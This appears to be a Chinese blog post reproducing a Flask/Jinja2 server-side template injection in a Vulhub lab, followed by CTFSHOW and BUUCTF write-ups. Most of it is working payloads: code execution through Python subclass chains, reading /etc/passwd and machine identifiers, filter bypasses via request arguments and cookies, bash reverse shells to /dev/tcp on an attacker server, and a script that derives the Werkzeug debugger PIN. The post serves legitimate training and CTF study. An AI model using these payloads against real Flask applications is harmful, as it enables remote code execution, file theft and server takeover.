Vulhub Flask SSTI漏洞复现

环境搭建

  • 首先利用docker搭建好环境 docker-compose up -d
    在这里插入图片描述
  • docker ps查看搭建的端口:8000

漏洞复现

  • 开始复现
  • flask-ssti漏洞以前有总结过 整理的不够好 今天重新整理一下
  • 题目源码
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()
  • 模板是jinja2模板,学习链接jinja2
  • 注入点
  name = request.args.get('name', 'guest')
  t = Template("Hello " + name)
  return t.render()
  • 获取get传的name参数后 进行渲染 造成构造注入的漏洞
  • 判断措施name={{ 'aaa' | upper}}
  • 页面回显 Hello AAA
  • 利用漏洞 这里在前面的文章讲过了
  • 官方漏洞利用
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • 自己整理的 利用官方payload复现成功
    在这里插入图片描述

python3

  • python3 利用open函数去读取文件
#文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
  • 或者利用被重载过的函数.__init__后带wrapper表示没有被重载
  • 这里可以用个脚本跑一下 但是做题的时候 有些题目可能被阉割过 所以不能用脚本跑出的数据
num = -1
search = '__builtins__'
for c in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in c.__init__.__globals__.keys():
            print(c, num)
    except:
        pass
  • 脚本跑的结果 数字不能用 但是函数是可以用滴!
    <class ‘_frozen_importlib._ModuleLock’> 80
    <class ‘_frozen_importlib._DummyModuleLock’> 81
    <class ‘_frozen_importlib._ModuleLockManager’> 82
    <class ‘_frozen_importlib.ModuleSpec’> 83
    <class ‘_frozen_importlib_external.FileLoader’> 94
    <class ‘_frozen_importlib_external._NamespacePath’> 95
    <class ‘_frozen_importlib_external._NamespaceLoader’> 96
    <class ‘_frozen_importlib_external.FileFinder’> 98
    <class ‘zipimport.zipimporter’> 105
    <class ‘zipimport._ZipImportResourceReader’> 106
    <class ‘codecs.IncrementalEncoder’> 108
    <class ‘codecs.IncrementalDecoder’> 109
    <class ‘codecs.StreamReaderWriter’> 110
    <class ‘codecs.StreamRecoder’> 111
    <class ‘os._wrap_close’> 134
    <class ‘os._AddedDllDirectory’> 135
    <class ‘_sitebuiltins.Quitter’> 136
    <class ‘_sitebuiltins._Printer’> 137
  • 含有__buitins__就可以利用python的内建函数了
  • 这里给几个payload
{{().__class__.__base__.__subclasses__[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
{% for c in ().__class__.__bases__[0].__subclasses__() %}{% if c.__name__=="catch_warnings" %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

python2

  • payload
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
  • 如果将代码改成这样就不会造成模板注入了。
t = Template("Hello {{n}}")
return t.render(n=name)

CTFSHOW

WEB361

  • payload
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

WEB362

  • 想用os._wrap_close类但是失败了
  • 不知道过滤了啥
  • WEB361的payload成功命令执行了
  • 看看过滤了啥
name = request.args.get(&#39;name&#39;)
	if name:
		if re.search(r&#34;2|3&#34;,name,re.I):
			return &#39;:(&#39;
  • 这个过滤真的奇妙
  • 顺便看了一下别人的payload
?name={{lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}
?name={{lipsum.__globals__['os'].popen('ls').read()}}
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
  • 第一个payload:
    lipsum是flask框架下的内置函数吧 调用了一下 发现会随机生成文章
    __getitem__是python的魔法函数,指定键后返回值
    第一个payload与第二个payload差别就在于一个是自己指定了键’os’,一个是利用_getitem_()返回值
  • 第三个payload a.__class__也是个类<class ‘jinja2.runtime.Undefined’>

WEB363 过滤"" ‘’

  • fuzz发现过滤了单引号双引号
  • payload
?name={{a.__class__.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
  • 源码
from flask import Flask 
from flask import request 
from flask import render_template_string 
import re 
app = Flask(__name__) 
@app.route('/') 
def app_index(): 
    name = request.args.get('name') 
    if name: if re.search(r"\'|\"",name,re.I):
        return ':(' 
    template = ''' {%% block body %%} <div class="center-content error"> <h1>Hello</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) 
    return render_template_string(template) 
if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
  • 另外的payload
?name={{lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag
?name={{lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

过滤单引号和双引号可以通过request绕过

WEB364 过滤’’ “” args

  • 和上面题目的差别在过滤了args
  • 将上题的payload中的args改为cookies
  • 然后Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__

WEB365 过滤 “” ‘’ args []

  • payload:
?name={{lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag
?name={{lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
  • Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__

WEB366

  • 进一步过滤了[],args,_
  • payload:
?name={{(lipsum|attr(request.cookies.c)|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read()}
 d=__getitem__; a=os; b=cat /flag; c=__globals__
  • 过滤 ‘’ ""可以通过request.args.a绕过
  • 过滤args可以通过request.cookies.a绕过
  • 过滤[]可以通过__getitem__()绕过
  • 过滤_后,__getitem__无法直接调用,用attr绕过

WEB367

  • payload:
?name={{(x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
  • cookies
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

WEB368

  • 过滤了{{}}用{%%}控制语句代替
  • payload:
{% print((x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}
Payload:?name={% print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%}
带上Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__
  • cookie
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

BUUCTF

[GYCTF2020]FlaskApp

  • 预期解 PIN码
  • 生成PIN码需要知道6个值
  1. flask所登录的用户名。可以通过读取/etc/password知道
  2. modname 一般不变就是flask.app
  3. getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
  4. flask库下app.py的绝对路径。在报错信息中可以获取此值为
  5. 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡
  6. docker机器id
    对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
    对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
  • 接下来写怎么获取上面的每个值
  1. payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
  • flaskweb❌1000:1000::/home/flaskweb:/bin/sh 用户名为flaskweb
  1. 值为flask.app
  2. 值为Flask
  3. 报错信息中有 例如输入{{''.\__subclass\__()}}值位/usr/local/lib/python3.7/site-packages/flask/app.py
  4. payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
  • 值为:02:42:ac:10:ad:e6 转十进制:2485377871334
  1. payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}
  • 值为:0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac
  • 最后用佬写的exp去跑
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377871334',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

  • 我的PIN码值是:168-621-872
  • 在页面输入{{’’._subclass_}}造成报错后 在报错页面输入PIN码就可以进入debug模式
    在这里插入图片描述
vulhub靶场是一个专注于网络安全渗透测试和漏洞利用的平台,其中可以通过各种漏洞学习到不同的攻击技术。这次我们来讨论vulhub靶场中的一个特定教程:flask/ssti。 在flask/ssti教程中,我们将学习到的是Flask应用程序中的服务器端模板注入(Server-side Template Injection, SSTI漏洞。这种漏洞的出现是由于Flask应用程序在渲染服务器端模板时没有适当的过滤和限制用户输入的内容,导致恶意用户可以在模板中执行任意的代码。这种漏洞的潜在风险非常高,攻击者可以利用它们执行代码,获取敏感信息甚至在服务器上执行任意命令。 在vulhub靶场中,我们将通过一个具体的示例来演示flask/ssti漏洞的利用。首先,我们需要安装所需的环境,包括Docker和Python;接下来,我们将根据教程提供的源代码和构建脚本,构建和启动一个漏洞应用程序;然后,我们将尝试在应用程序的输入框中输入一些特定代码,以执行任意的命令或获取敏感信息。 通过这个教程,我们可以了解到服务器端模板注入漏洞的原理和危害,并且学习到如何通过构造恶意输入来利用这种漏洞。同时,了解到安全开发中对用户输入的过滤和限制的重要性,以及如何防止和修复这种漏洞。 总之,vulhub靶场中的flask/ssti教程为我们提供了一个实践学习服务器端模板注入漏洞的机会,通过理论和实践相结合的方式,帮助我们更好地了解和掌握网络安全领域中的渗透测试和漏洞利用技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值